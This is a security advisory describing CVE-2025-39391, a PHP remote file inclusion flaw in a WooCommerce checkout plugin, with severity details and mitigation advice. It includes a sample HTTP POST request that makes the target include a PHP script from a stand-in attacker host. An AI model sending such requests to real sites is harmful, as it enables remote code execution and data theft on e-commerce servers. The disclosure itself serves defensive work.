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CVE-2025-39391: PHP Remote File Inclusion Vulnerability in WooCommerce Checkout Field Visibility Plugin

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Overview

The vulnerability, identified as CVE-2025-39391, pertains to an Improper Control of Filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’) vulnerability in the Checkout Field Visibility for WooCommerce plugin. This vulnerability can lead to PHP Local File Inclusion, affecting all versions of the plugin up to 1.2.3. Given the widespread use of WooCommerce, this vulnerability has the potential to compromise a significant number of e-commerce websites, leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-39391
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

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Product | Affected Versions

Checkout Field Visibility for WooCommerce | n/a to 1.2.3

How the Exploit Works

The exploit relies on the improper control of filename for include/require statements in PHP programs in the Checkout Field Visibility for WooCommerce plugin. This vulnerability allows an attacker to remotely include files from external servers, which could lead to the execution of arbitrary PHP code on the server.

Conceptual Example Code

In a conceptual example, an attacker might exploit the vulnerability through an HTTP POST request like the following:

POST /wp-content/plugins/checkout-field-visibility-for-woocommerce/vulnerable.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include_file=http://attacker.example.com/malicious_script.php

In this case, the attacker is attempting to include the file ‘malicious_script.php’ from their own server. If successful, the server would then execute the malicious PHP code contained in this file.

Mitigation

Users are strongly advised to apply the latest patch from the vendor as soon as possible. Until the patch can be applied, a web application firewall (WAF) or intrusion detection system (IDS) could be used as temporary mitigation.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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